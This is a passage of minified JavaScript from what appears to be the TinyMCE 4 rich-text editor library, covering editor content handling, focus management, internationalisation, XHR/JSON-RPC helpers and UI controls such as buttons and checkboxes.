x(n),n.fire("PostRender"),r.directionality&&(h.dir=r.directionality),r.nowrap&&(h.style.whiteSpace="nowrap"),r.protect&&n.on("BeforeSetContent",function(e){I(r.protect,function(t){e.content=e.content.replace(t,function(e){return"<!--mce:protected
"+escape(e)+"-->"})})}),n.on("SetContent",function(){n.addVisual(n.getBody())}),r.padd_empty_editor&&n.on("PostProcess",function(e){e.content=e.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|<br
\/>|)<\/p>[\r\n]*|<br
\/>[\r\n]*)$/,"")}),n.load({initial:!0,format:"html"}),n.startContent=n.getContent({format:"raw"}),n.initialized=!0,n.bindPendingEventDelegates(),n.fire("init"),n.focus(!0),n.nodeChanged({initial:!0}),n.execCallback("init_instance_callback",n),n.on("compositionstart
compositionend",function(e){n.composing="compositionstart"===e.type}),n.contentStyles.length>0&&(m="",I(n.contentStyles,function(e){m+=e+"\r\n"}),n.dom.addStyle(m)),I(n.contentCSS,function(e){n.loadedCSS[e]||(n.dom.loadCSS(e),n.loadedCSS[e]=!0)}),r.auto_focus&&N.setEditorTimeout(n,function(){var
e;e=r.auto_focus===!0?n:n.editorManager.get(r.auto_focus),e.destroyed||e.focus()},100),s=p=h=null},focus:function(e){function
t(e){return
n.dom.getParent(e,function(e){return"true"===n.dom.getContentEditable(e)})}var
n=this,r=n.selection,i=n.settings.content_editable,o,a,s=n.getDoc(),l=n.getBody(),u;if(!e){if(o=r.getRng(),o.item&&(a=o.item(0)),n.quirks.refreshContentEditable(),u=t(r.getNode()),n.$.contains(l,u))return
u.focus(),r.normalize(),void
n.editorManager.setActive(n);if(i||(w.opera||n.getBody().focus(),n.getWin().focus()),$||i){if(l.setActive)try{l.setActive()}catch(c){l.focus()}else
n.inline&&document.activeElement!==l&&n.selection.setRng(n.lastRng),l.focus();i&&r.normalize()}a&&a.ownerDocument==s&&(o=s.body.createControlRange(),o.addElement(a),o.select())}n.editorManager.setActive(n)},execCallback:function(e){var
t=this,n=t.settings[e],r;if(n)return
t.callbackLookup&&(r=t.callbackLookup[e])&&(n=r.func,r=r.scope),"string"==typeof
n&&(r=n.replace(/\.\w+$/,""),r=r?W(r):0,n=W(n),t.callbackLookup=t.callbackLookup||{},t.callbackLookup[e]={func:n,scope:r}),n.apply(r||t,Array.prototype.slice.call(arguments,1))},translate:function(e){var
t=this.settings.language||"en",n=this.editorManager.i18n;return
e?(e=n.data[t+"."+e]||e.replace(/\{\#([^\}]+)\}/g,function(e,r){return
n.data[t+"."+r]||"{#"+r+"}"}),this.editorManager.translate(e)):""},getLang:function(e,n){return
this.editorManager.i18n.data[(this.settings.language||"en")+"."+e]||(n!==t?n:"{#"+e+"}")},getParam:function(e,t,n){var
r=e in
this.settings?this.settings[e]:t,i;return"hash"===n?(i={},"string"==typeof
r?I(r.indexOf("=")>0?r.split(/[;,](?![^=;,]*(?:[;,]|$))/):r.split(","),function(e){e=e.split("="),e.length>1?i[U(e[0])]=U(e[1]):i[U(e[0])]=U(e)}):i=r,i):r},nodeChanged:function(e){this._nodeChangeDispatcher.nodeChanged(e)},addButton:function(e,t){var
n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),t.text||t.icon||(t.icon=e),n.buttons=n.buttons||{},t.tooltip=t.tooltip||t.title,n.buttons[e]=t},addSidebar:function(e,t){return
B.add(this,e,t)},addMenuItem:function(e,t){var
n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),n.menuItems=n.menuItems||{},n.menuItems[e]=t},addContextToolbar:function(e,t){var
n=this,r;n.contextToolbars=n.contextToolbars||[],"string"==typeof
e&&(r=e,e=function(e){return
n.dom.is(e,r)}),n.contextToolbars.push({id:A.uuid("mcet"),predicate:e,items:t})},addCommand:function(e,t,n){this.editorCommands.addCommand(e,t,n)},addQueryStateHandler:function(e,t,n){this.editorCommands.addQueryStateHandler(e,t,n)},addQueryValueHandler:function(e,t,n){this.editorCommands.addQueryValueHandler(e,t,n)},addShortcut:function(e,t,n,r){this.shortcuts.add(e,t,n,r)},execCommand:function(e,t,n,r){return
this.editorCommands.execCommand(e,t,n,r)},queryCommandState:function(e){return
this.editorCommands.queryCommandState(e)},queryCommandValue:function(e){return
this.editorCommands.queryCommandValue(e)},queryCommandSupported:function(e){return
this.editorCommands.queryCommandSupported(e)},show:function(){var
e=this;e.hidden&&(e.hidden=!1,e.inline?e.getBody().contentEditable=!0:(M.show(e.getContainer()),M.hide(e.id)),e.load(),e.fire("show"))},hide:function(){var
e=this,t=e.getDoc();e.hidden||(q&&t&&!e.inline&&t.execCommand("SelectAll"),e.save(),e.inline?(e.getBody().contentEditable=!1,e==e.editorManager.focusedEditor&&(e.editorManager.focusedEditor=null)):(M.hide(e.getContainer()),M.setStyle(e.id,"display",e.orgDisplay)),e.hidden=!0,e.fire("hide"))},isHidden:function(){return!!this.hidden},setProgressState:function(e,t){this.fire("ProgressState",{state:e,time:t})},load:function(e){var
n=this,r=n.getElement(),i;if(r)return
e=e||{},e.load=!0,i=n.setContent(r.value!==t?r.value:r.innerHTML,e),e.element=r,e.no_events||n.fire("LoadContent",e),e.element=r=null,i},save:function(e){var
t=this,n=t.getElement(),r,i;if(n&&t.initialized)return
e=e||{},e.save=!0,e.element=n,r=e.content=t.getContent(e),e.no_events||t.fire("SaveContent",e),"raw"==e.format&&t.fire("RawSaveContent",e),r=e.content,/TEXTAREA|INPUT/i.test(n.nodeName)?n.value=r:(t.inline||(n.innerHTML=r),(i=M.getParent(t.id,"form"))&&I(i.elements,function(e){if(e.name==t.id)return
e.value=r,!1})),e.element=n=null,e.set_dirty!==!1&&t.setDirty(!1),r},setContent:function(e,t){var
n=this,r=n.getBody(),i,o;return
t=t||{},t.format=t.format||"html",t.set=!0,t.content=e,t.no_events||n.fire("BeforeSetContent",t),e=t.content,0===e.length||/^\s+$/.test(e)?(o=q&&q<11?"":'<br
data-mce-bogus="1">',"TABLE"==r.nodeName?e="<tr><td>"+o+"</td></tr>":/^(UL|OL)$/.test(r.nodeName)&&(e="<li>"+o+"</li>"),i=n.settings.forced_root_block,i&&n.schema.isValidChild(r.nodeName.toLowerCase(),i.toLowerCase())?(e=o,e=n.dom.createHTML(i,n.settings.forced_root_block_attrs,e)):q||e||(e='<br
data-mce-bogus="1">'),n.dom.setHTML(r,e),n.fire("SetContent",t)):("raw"!==t.format&&(e=new
s({validate:n.validate},n.schema).serialize(n.parser.parse(e,{isRootContent:!0}))),t.content=U(e),n.dom.setHTML(r,t.content),t.no_events||n.fire("SetContent",t)),t.content},getContent:function(e){var
t=this,n,r=t.getBody();return
e=e||{},e.format=e.format||"html",e.get=!0,e.getInner=!0,e.no_events||t.fire("BeforeGetContent",e),n="raw"==e.format?E.trim(t.serializer.getTrimmedContent()):"text"==e.format?r.innerText||r.textContent:t.serializer.serialize(r,e),"text"!=e.format?e.content=U(n):e.content=n,e.no_events||t.fire("GetContent",e),e.content},insertContent:function(e,t){t&&(e=H({content:e},t)),this.execCommand("mceInsertContent",!1,e)},isDirty:function(){return!this.isNotDirty},setDirty:function(e){var
t=!this.isNotDirty;this.isNotDirty=!e,e&&e!=t&&this.fire("dirty")},setMode:function(e){S.setMode(this,e)},getContainer:function(){var
e=this;return
e.container||(e.container=M.get(e.editorContainer||e.id+"_parent")),e.container},getContentAreaContainer:function(){return
this.contentAreaContainer},getElement:function(){return
this.targetElm||(this.targetElm=M.get(this.id)),this.targetElm},getWin:function(){var
e=this,t;return
e.contentWindow||(t=e.iframeElement,t&&(e.contentWindow=t.contentWindow)),e.contentWindow},getDoc:function(){var
e=this,t;return
e.contentDocument||(t=e.getWin(),t&&(e.contentDocument=t.document)),e.contentDocument},getBody:function(){var
e=this.getDoc();return
this.bodyElement||(e?e.body:null)},convertURL:function(e,t,n){var
r=this,i=r.settings;return
i.urlconverter_callback?r.execCallback("urlconverter_callback",e,n,!0,t):!i.convert_urls||n&&"LINK"==n.nodeName||0===e.indexOf("file:")||0===e.length?e:i.relative_urls?r.documentBaseURI.toRelative(e):e=r.documentBaseURI.toAbsolute(e,i.remove_script_host)},addVisual:function(e){var
n=this,r=n.settings,i=n.dom,o;e=e||n.getBody(),n.hasVisual===t&&(n.hasVisual=r.visual),I(i.select("table,a",e),function(e){var
t;switch(e.nodeName){case"TABLE":return
o=r.visual_table_class||"mce-item-table",t=i.getAttrib(e,"border"),void(t&&"0"!=t||!n.hasVisual?i.removeClass(e,o):i.addClass(e,o));case"A":return
void(i.getAttrib(e,"href",!1)||(t=i.getAttrib(e,"name")||e.id,o=r.visual_anchor_class||"mce-item-anchor",t&&n.hasVisual?i.addClass(e,o):i.removeClass(e,o)))}}),n.fire("VisualAid",{element:e,hasVisual:n.hasVisual})},remove:function(){var
e=this;e.removed||(e.save(),e.removed=1,e.unbindAllNativeEvents(),e.hasHiddenInput&&M.remove(e.getElement().nextSibling),e.inline||(q&&q<10&&e.getDoc().execCommand("SelectAll",!1,null),M.setStyle(e.id,"display",e.orgDisplay),e.getBody().onload=null),e.fire("remove"),e.editorManager.remove(e),M.remove(e.getContainer()),e._selectionOverrides.destroy(),e.editorUpload.destroy(),e.destroy())},destroy:function(e){var
t=this,n;if(!t.destroyed){if(!e&&!t.removed)return void
t.remove();e||(t.editorManager.off("beforeunload",t._beforeUnload),t.theme&&t.theme.destroy&&t.theme.destroy(),t.selection.destroy(),t.dom.destroy()),n=t.formElement,n&&(n._mceOldSubmit&&(n.submit=n._mceOldSubmit,n._mceOldSubmit=null),M.unbind(n,"submit
reset",t.formEventDelegate)),t.contentAreaContainer=t.formElement=t.container=t.editorContainer=null,t.bodyElement=t.contentDocument=t.contentWindow=null,t.iframeElement=t.targetElm=null,t.selection&&(t.selection=t.selection.win=t.selection.dom=t.selection.dom.doc=null),t.destroyed=1}},uploadImages:function(e){return
this.editorUpload.uploadImages(e)},_scanForImages:function(){return
this.editorUpload.scanForImages()}},H(L.prototype,_),L}),r(st,[m],function(e){var
t={},n="en";return{setCode:function(e){e&&(n=e,this.rtl=!!this.data[e]&&"rtl"===this.data[e]._dir)},getCode:function(){return
n},rtl:!1,add:function(e,n){var r=t[e];r||(t[e]=r={});for(var i in
n)r[i]=n[i];this.setCode(e)},translate:function(r){function i(t){return
e.is(t,"function")?Object.prototype.toString.call(t):o(t)?"":""+t}function
o(t){return""===t||null===t||e.is(t,"undefined")}function
a(t){return t=i(t),e.hasOwn(s,t)?i(s[t]):t}var
s=t[n]||{};if(o(r))return"";if(e.is(r,"object")&&e.hasOwn(r,"raw"))return
i(r.raw);if(e.is(r,"array")){var
l=r.slice(1);r=a(r[0]).replace(/\{([0-9]+)\}/g,function(t,n){return
e.hasOwn(l,n)?i(l[n]):t})}return
a(r).replace(/{context:\w+}$/,"")},data:t}}),r(lt,[w,c,d],function(e,t,n){function
r(e){function r(){try{return document.activeElement}catch(e){return
document.body}}function
u(e,t){if(t&&t.startContainer){if(!e.isChildOf(t.startContainer,e.getRoot())||!e.isChildOf(t.endContainer,e.getRoot()))return;return{startContainer:t.startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset}}return
t}function c(e,t){var n;return
t.startContainer?(n=e.getDoc().createRange(),n.setStart(t.startContainer,t.startOffset),n.setEnd(t.endContainer,t.endOffset)):n=t,n}function
d(d){var
f=d.editor;f.on("init",function(){(f.inline||n.ie)&&("onbeforedeactivate"in
document&&n.ie<9?f.dom.bind(f.getBody(),"beforedeactivate",function(e){if(e.target==f.getBody())try{f.lastRng=f.selection.getRng()}catch(t){}}):f.on("nodechange
mouseup keyup",function(e){var
t=r();"nodechange"==e.type&&e.selectionChange||(t&&t.id==f.id+"_ifr"&&(t=f.getBody()),f.dom.isChildOf(t,f.getBody())&&(f.lastRng=f.selection.getRng()))}),n.webkit&&!i&&(i=function(){var
t=e.activeEditor;if(t&&t.selection){var
n=t.selection.getRng();n&&!n.collapsed&&(f.lastRng=n)}},s.bind(document,"selectionchange",i)))}),f.on("setcontent",function(){f.lastRng=null}),f.on("mousedown",function(){f.selection.lastFocusBookmark=null}),f.on("focusin",function(){var
t=e.focusedEditor,n;f.selection.lastFocusBookmark&&(n=c(f,f.selection.lastFocusBookmark),f.selection.lastFocusBookmark=null,f.selection.setRng(n)),t!=f&&(t&&t.fire("blur",{focusedEditor:f}),e.setActive(f),e.focusedEditor=f,f.fire("focus",{blurredEditor:t}),f.focus(!0)),f.lastRng=null}),f.on("focusout",function(){t.setEditorTimeout(f,function(){var
t=e.focusedEditor;l(f,r())||t!=f||(f.fire("blur",{focusedEditor:null}),e.focusedEditor=null,f.selection&&(f.selection.lastFocusBookmark=null))})}),o||(o=function(t){var
n=e.activeEditor,r;r=t.target,n&&r.ownerDocument==document&&(n.selection&&r!=n.getBody()&&(n.selection.lastFocusBookmark=u(n.dom,n.lastRng)),r==document.body||l(n,r)||e.focusedEditor!=n||(n.fire("blur",{focusedEditor:null}),e.focusedEditor=null))},s.bind(document,"focusin",o)),f.inline&&!a&&(a=function(t){var
n=e.activeEditor,r=n.dom;if(n.inline&&r&&!r.isChildOf(t.target,n.getBody())){var
i=n.selection.getRng();i.collapsed||(n.lastRng=i)}},s.bind(document,"mouseup",a))}function
f(t){e.focusedEditor==t.editor&&(e.focusedEditor=null),e.activeEditor||(s.unbind(document,"selectionchange",i),s.unbind(document,"focusin",o),s.unbind(document,"mouseup",a),i=o=a=null)}e.on("AddEditor",d),e.on("RemoveEditor",f)}var
i,o,a,s=e.DOM,l=function(e,t){var
n=e?e.settings.custom_ui_selector:"",i=s.getParent(t,function(t){return
r.isEditorUIElement(t)||!!n&&e.dom.is(t,n)});return
null!==i};return r.isEditorUIElement=function(e){return
e.className.toString().indexOf("mce-")!==-1},r._isUIElement=l,r}),r(ut,[at,g,w,ue,d,m,u,pe,st,lt,N],function(e,t,n,r,i,o,a,s,l,u,c){function
d(e){v(x.editors,function(t){"scroll"===e.type?t.fire("ScrollWindow",e):t.fire("ResizeWindow",e)})}function
f(e,n){n!==w&&(n?t(window).on("resize
scroll",d):t(window).off("resize scroll",d),w=n)}function
p(e){var t=x.editors,n;delete t[e.id];for(var
r=0;r<t.length;r++)if(t[r]==e){t.splice(r,1),n=!0;break}return
x.activeEditor==e&&(x.activeEditor=t[0]),x.focusedEditor==e&&(x.focusedEditor=null),n}function
h(e){return
e&&e.initialized&&!(e.getContainer()||e.getBody()).parentNode&&(p(e),e.unbindAllNativeEvents(),e.destroy(!0),e.removed=!0,e=null),e}var
m=n.DOM,g=o.explode,v=o.each,y=o.extend,b=0,C,x,w=!1;return
x={$:t,majorVersion:"4",minorVersion:"5.12",releaseDate:"2020-07-03",editors:[],i18n:l,activeEditor:null,setup:function(){var
e=this,t,n,i="",o,a;if(n=r.getDocumentBaseUrl(document.location),/^[^:]+:\/\/\/?[^\/]+\//.test(n)&&(n=n.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(n)||(n+="/")),o=window.tinymce||window.tinyMCEPreInit)t=o.base||o.baseURL,i=o.suffix;else{for(var
s=document.getElementsByTagName("script"),l=0;l<s.length;l++){a=s[l].src;var
c=a.substring(a.lastIndexOf("/"));if(/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(a)){c.indexOf(".min")!=-1&&(i=".min"),t=a.substring(0,a.lastIndexOf("/"));break}}!t&&document.currentScript&&(a=document.currentScript.src,a.indexOf(".min")!=-1&&(i=".min"),t=a.substring(0,a.lastIndexOf("/")))}e.baseURL=new
r(n).toAbsolute(t),e.documentBaseURL=n,e.baseURI=new
r(e.baseURL),e.suffix=i,e.focusManager=new
u(e)},overrideDefaults:function(e){var
t,n;t=e.base_url,t&&(this.baseURL=new
r(this.documentBaseURL).toAbsolute(t.replace(/\/+$/,"")),this.baseURI=new
r(this.baseURL)),n=e.suffix,e.suffix&&(this.suffix=n),this.defaultSettings=e;var
i=e.plugin_base_urls;for(var o in
i)c.PluginManager.urls[o]=i[o]},init:function(n){function r(e,t){return
e.inline&&t.tagName.toLowerCase()in C}function
i(e,t){window.console&&!window.test&&window.console.log(e,t)}function
s(e){var t=e.id;return
t||(t=e.name,t=t&&!m.get(t)?e.name:m.uniqueId(),e.setAttribute("id",t)),t}function
l(e){var t=n[e];if(t)return
t.apply(f,Array.prototype.slice.call(arguments,2))}function u(e,t){return
t.constructor===RegExp?t.test(e.className):m.hasClass(e,t)}function
c(e){var t,n=[];if(e.types)return
v(e.types,function(e){n=n.concat(m.select(e.selector))}),n;if(e.selector)return
m.select(e.selector);if(e.target)return[e.target];switch(e.mode){case"exact":t=e.elements||"",t.length>0&&v(g(t),function(e){var
t;(t=m.get(e))?n.push(t):v(document.forms,function(t){v(t.elements,function(t){t.name===e&&(e="mce_editor_"+b++,m.setAttrib(t,"id",e),n.push(t))})})});break;case"textareas":case"specific_textareas":v(m.select("textarea"),function(t){e.editor_deselector&&u(t,e.editor_deselector)||e.editor_selector&&!u(t,e.editor_selector)||n.push(t)})}return
n}function d(){function a(t,n,r){var i=new
e(t,n,f);p.push(i),i.on("init",function(){++u===g.length&&x(p)}),i.targetElm=i.targetElm||r,i.render()}var
u=0,p=[],g;return
m.unbind(window,"ready",d),l("onpageload"),g=t.unique(c(n)),n.types?void
v(n.types,function(e){o.each(g,function(t){return!m.is(t,e.selector)||(a(s(t),y({},n,e),t),!1)})}):(o.each(g,function(e){h(f.get(e.id))}),g=o.grep(g,function(e){return!f.get(e.id)}),void
v(g,function(e){r(n,e)?i("Could not initialize inline editor on
invalid inline target element",e):a(s(e),n,e)}))}var
f=this,p,C;C=o.makeMap("area base basefont br col frame hr img input
isindex link meta param embed source wbr track colgroup option tbody tfoot
thead tr script noscript style textarea video audio iframe object
menu"," ");var x=function(e){p=e};return
f.settings=n,m.bind(window,"ready",d),new
a(function(e){p?e(p):x=function(t){e(t)}})},get:function(e){return
arguments.length?e in
this.editors?this.editors[e]:null:this.editors},add:function(e){var
t=this,n=t.editors;return
n[e.id]=e,n.push(e),f(n,!0),t.activeEditor=e,t.fire("AddEditor",{editor:e}),C||(C=function(){t.fire("BeforeUnload")},m.bind(window,"beforeunload",C)),e},createEditor:function(t,n){return
this.add(new e(t,n,this))},remove:function(e){var
t=this,n,r=t.editors,i;{if(e)return"string"==typeof
e?(e=e.selector||e,void
v(m.select(e),function(e){i=r[e.id],i&&t.remove(i)})):(i=e,r[i.id]?(p(i)&&t.fire("RemoveEditor",{editor:i}),r.length||m.unbind(window,"beforeunload",C),i.remove(),f(r,r.length>0),i):null);for(n=r.length-1;n>=0;n--)t.remove(r[n])}},execCommand:function(t,n,r){var
i=this,o=i.get(r);switch(t){case"mceAddEditor":return
i.get(r)||new
e(r,i.settings,i).render(),!0;case"mceRemoveEditor":return
o&&o.remove(),!0;case"mceToggleEditor":return
o?(o.isHidden()?o.show():o.hide(),!0):(i.execCommand("mceAddEditor",0,r),!0)}return!!i.activeEditor&&i.activeEditor.execCommand(t,n,r)},triggerSave:function(){v(this.editors,function(e){e.save()})},addI18n:function(e,t){l.add(e,t)},translate:function(e){return
l.translate(e)},setActive:function(e){var
t=this.activeEditor;this.activeEditor!=e&&(t&&t.fire("deactivate",{relatedTarget:e}),e.fire("activate",{relatedTarget:t})),this.activeEditor=e}},y(x,s),x.setup(),window.tinymce=window.tinyMCE=x,x}),r(ct,[ut,m],function(e,t){var
n=t.each,r=t.explode;e.on("AddEditor",function(e){var
t=e.editor;t.on("preInit",function(){function
e(e,t){n(t,function(t,n){t&&s.setStyle(e,n,t)}),s.rename(e,"span")}function
i(e){s=t.dom,l.convert_fonts_to_spans&&n(s.select("font,u,strike",e.node),function(e){o[e.nodeName.toLowerCase()](s,e)})}var
o,a,s,l=t.settings;l.inline_styles&&(a=r(l.font_size_legacy_values),o={font:function(t,n){e(n,{backgroundColor:n.style.backgroundColor,color:n.color,fontFamily:n.face,fontSize:a[parseInt(n.size,10)-1]})},u:function(n,r){"html4"===t.settings.schema&&e(r,{textDecoration:"underline"})},strike:function(t,n){e(n,{textDecoration:"line-through"})}},t.on("PreProcess
SetContent",i))})})}),r(dt,[pe,m],function(e,t){var
n={send:function(e){function
r(){!e.async||4==i.readyState||o++>1e4?(e.success&&o<1e4&&200==i.status?e.success.call(e.success_scope,""+i.responseText,i,e):e.error&&e.error.call(e.error_scope,o>1e4?"TIMED_OUT":"GENERAL",i,e),i=null):setTimeout(r,10)}var
i,o=0;if(e.scope=e.scope||this,e.success_scope=e.success_scope||e.scope,e.error_scope=e.error_scope||e.scope,e.async=e.async!==!1,e.data=e.data||"",n.fire("beforeInitialize",{settings:e}),i=new
XMLHttpRequest){if(i.overrideMimeType&&i.overrideMimeType(e.content_type),i.open(e.type||(e.data?"POST":"GET"),e.url,e.async),e.crossDomain&&(i.withCredentials=!0),e.content_type&&i.setRequestHeader("Content-Type",e.content_type),e.requestheaders&&t.each(e.requestheaders,function(e){i.setRequestHeader(e.key,e.value)}),i.setRequestHeader("X-Requested-With","XMLHttpRequest"),i=n.fire("beforeSend",{xhr:i,settings:e}).xhr,i.send(e.data),!e.async)return
r();setTimeout(r,10)}}};return
t.extend(n,e),n}),r(ft,[],function(){function e(t,n){var
r,i,o,a;if(n=n||'"',null===t)return"null";if(o=typeof
t,"string"==o)return
i="\bb\tt\nn\ff\rr\"\"''\\\\",n+t.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(e,t){return'"'===n&&"'"===e?e:(r=i.indexOf(t),r+1?"\\"+i.charAt(r+1):(e=t.charCodeAt().toString(16),"\\u"+"0000".substring(e.length)+e))})+n;if("object"==o){if(t.hasOwnProperty&&"[object
Array]"===Object.prototype.toString.call(t)){for(r=0,i="[";r<t.length;r++)i+=(r>0?",":"")+e(t[r],n);return
i+"]"}i="{";for(a in
t)t.hasOwnProperty(a)&&(i+="function"!=typeof
t[a]?(i.length>1?","+n:n)+a+n+":"+e(t[a],n):"");return
i+"}"}return""+t}return{serialize:e,parse:function(e){try{return
window[String.fromCharCode(101)+"val"]("("+e+")")}catch(t){}}}}),r(pt,[ft,dt,m],function(e,t,n){function
r(e){this.settings=i({},e),this.count=0}var i=n.extend;return
r.sendRPC=function(e){return(new
r).send(e)},r.prototype={send:function(n){var
r=n.error,o=n.success;n=i(this.settings,n),n.success=function(t,i){t=e.parse(t),"undefined"==typeof
t&&(t={error:"JSON Parse
error."}),t.error?r.call(n.error_scope||n.scope,t.error,i):o.call(n.success_scope||n.scope,t.result)},n.error=function(e,t){r&&r.call(n.error_scope||n.scope,e,t)},n.data=e.serialize({id:n.id||"c"+this.count++,method:n.method,params:n.params}),n.content_type="application/json",t.send(n)}},r}),r(ht,[w],function(e){return{callbacks:{},count:0,send:function(n){var
r=this,i=e.DOM,o=n.count!==t?n.count:r.count,a="tinymce_jsonp_"+o;r.callbacks[o]=function(e){i.remove(a),delete
r.callbacks[o],n.callback(e)},i.add(i.doc.body,"script",{id:a,src:n.url,type:"text/javascript"}),r.count++}}}),r(mt,[],function(){function
e(){s=[];for(var e in a)s.push(e);i.length=s.length}function n(){function
n(e){var n,r;return
r=e!==t?c+e:i.indexOf(",",c),r===-1||r>i.length?null:(n=i.substring(c,r),c=r+1,n)}var
r,i,s,c=0;if(a={},u){o.load(l),i=o.getAttribute(l)||"";do{var
d=n();if(null===d)break;if(r=n(parseInt(d,32)||0),null!==r){if(d=n(),null===d)break;s=n(parseInt(d,32)||0),r&&(a[r]=s)}}while(null!==r);e()}}function
r(){var t,n="";if(u){for(var r in
a)t=a[r],n+=(n?",":"")+r.length.toString(32)+","+r+","+t.length.toString(32)+","+t;o.setAttribute(l,n);try{o.save(l)}catch(i){}e()}}var
i,o,a,s,l,u;try{if(window.localStorage)return localStorage}catch(c){}return
l="tinymce",o=document.documentElement,u=!!o.addBehavior,u&&o.addBehavior("#default#userData"),i={key:function(e){return
s[e]},getItem:function(e){return e in
a?a[e]:null},setItem:function(e,t){a[e]=""+t,r()},removeItem:function(e){delete
a[e],r()},clear:function(){a={},r()}},n(),i}),r(gt,[w,f,E,N,m,d],function(e,t,n,r,i,o){var
a=window.tinymce;return
a.DOM=e.DOM,a.ScriptLoader=n.ScriptLoader,a.PluginManager=r.PluginManager,a.ThemeManager=r.ThemeManager,a.dom=a.dom||{},a.dom.Event=t.Event,i.each("trim
isArray is toArray makeMap each map grep inArray extend create walk
createNS resolve explode _addCacheSuffix".split("
"),function(e){a[e]=i[e]}),i.each("isOpera isWebKit isIE isGecko
isMac".split("
"),function(e){a[e]=o[e.substr(2).toLowerCase()]}),{}}),r(vt,[ce,m],function(e,t){return
e.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(e){this.settings=t.extend({},this.Defaults,e)},preRender:function(e){e.bodyClasses.add(this.settings.containerClass)},applyClasses:function(e){var
t=this,n=t.settings,r,i,o,a;r=n.firstControlClass,i=n.lastControlClass,e.each(function(e){e.classes.remove(r).remove(i).add(n.controlClass),e.visible()&&(o||(o=e),a=e)}),o&&o.classes.add(r),a&&a.classes.add(i)},renderHtml:function(e){var
t=this,n="";return
t.applyClasses(e.items()),e.items().each(function(e){n+=e.renderHtml()}),n},recalc:function(){},postRender:function(){},isNative:function(){return!1}})}),r(yt,[vt],function(e){return
e.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(e){e.items().filter(":visible").each(function(e){var
t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&&e.recalc()})},renderHtml:function(e){return'<div
id="'+e._id+'-absend"
class="'+e.classPrefix+'abs-end"></div>'+this._super(e)}})}),r(bt,[Pe],function(e){return
e.extend({Defaults:{classes:"widget
btn",role:"button"},init:function(e){var
t=this,n;t._super(e),e=t.settings,n=t.settings.size,t.on("click
mousedown",function(e){e.preventDefault()}),t.on("touchstart",function(e){t.fire("click",e),e.preventDefault()}),e.subtype&&t.classes.add(e.subtype),n&&t.classes.add("btn-"+n),e.icon&&t.icon(e.icon)},icon:function(e){return
arguments.length?(this.state.set("icon",e),this):this.state.get("icon")},repaint:function(){var
e=this.getEl().firstChild,t;e&&(t=e.style,t.width=t.height="100%"),this._super()},renderHtml:function(){var
e=this,t=e._id,n=e.classPrefix,r=e.state.get("icon"),i,o=e.state.get("text"),a="";return
i=e.settings.image,i?(r="none","string"!=typeof
i&&(i=window.getSelection?i[0]:i[1]),i="
style=\"background-image:
url('"+i+"')\""):i="",o&&(e.classes.add("btn-has-text"),a='<span
class="'+n+'txt">'+e.encode(o)+"</span>"),r=r?n+"ico
"+n+"i-"+r:"",'<div
id="'+t+'" class="'+e.classes+'"
tabindex="-1"
aria-labelledby="'+t+'"><button
role="presentation" type="button"
tabindex="-1">'+(r?'<i
class="'+r+'"'+i+"></i>":"")+a+"</button></div>"},bindStates:function(){function
e(e){var
i=n("span."+r,t.getEl());e?(i[0]||(n("button:first",t.getEl()).append('<span
class="'+r+'"></span>'),i=n("span."+r,t.getEl())),i.html(t.encode(e))):i.remove(),t.classes.toggle("btn-has-text",!!e)}var
t=this,n=t.$,r=t.classPrefix+"txt";return
t.state.on("change:text",function(t){e(t.value)}),t.state.on("change:icon",function(n){var
r=n.value,i=t.classPrefix;t.settings.icon=r,r=r?i+"ico
"+i+"i-"+t.settings.icon:"";var
o=t.getEl().firstChild,a=o.getElementsByTagName("i")[0];r?(a&&a==o.firstChild||(a=document.createElement("i"),o.insertBefore(a,o.firstChild)),a.className=r):a&&o.removeChild(a),e(t.state.get("text"))}),t._super()}})}),r(Ct,[Ne],function(e){return
e.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var
e=this,t=e._layout;return
e.classes.add("btn-group"),e.preRender(),t.preRender(e),'<div
id="'+e._id+'"
class="'+e.classes+'"><div
id="'+e._id+'-body">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}})}),r(xt,[Pe],function(e){return
e.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(e){var
t=this;t._super(e),t.on("click
mousedown",function(e){e.preventDefault()}),t.on("click",function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){return
arguments.length?(this.state.set("checked",e),this):this.state.get("checked")},value:function(e){return
arguments.length?this.checked(e):this.checked()},renderHtml:function(){var
e=this,t=e._id,n=e.classPrefix;return'<div
id="'+t+'" class="'+e.classes+'"
unselectable="on" aria-labelledby="'+t+'-al"
tabindex="-1"><i class="'+n+"ico
"+n+'i-checkbox"></i><span
id="'+t+'-al"
class="'+n+'label">'+e.encode(e.state.get("text"))+"</span></div>"},bindStates:function(){function
e(e){t.classes.toggle("checked",e),t.aria("checked",e)}var
t=this;return
t.state.on("change:text",function(e){t.getEl("al").firstChild.data=t.translate(e.value)}),t.state.on("change:checked
change:value",function(n){t.fire("change"),e(n.value)}),t.state.on("change:icon",function(e){var
n=e.value,r=t.classPrefix;if("undefined"==typeof n)return
t.settings.icon;t.settings.icon=n,n=n?r+"ico
"+r+"i-"+t.settings.icon:"";var
i=t.getEl().firstChild,o=i.getElementsByTagName("i")[0];n?(o&&o==i.firstChild||(o=document.createElement("i"),i.insertBefore(o,i.firstChild)),o.className=n):o&&i.removeChild(o)}),t.state.get("checked")&&e(!0),t._super()}})}),r(wt,[Pe,we,ve,g,I,m],function(e,t,n,r,i,o){return
e.extend({init:function(e){var
t=this;t._super(e),e=t.settings,t.classes.add("combobox"),t.subinput=!0,t.ariaTarget="inp",e.menu=e.menu||e.values,e.menu&&(e.icon="caret"),t.on("click",function(n){var
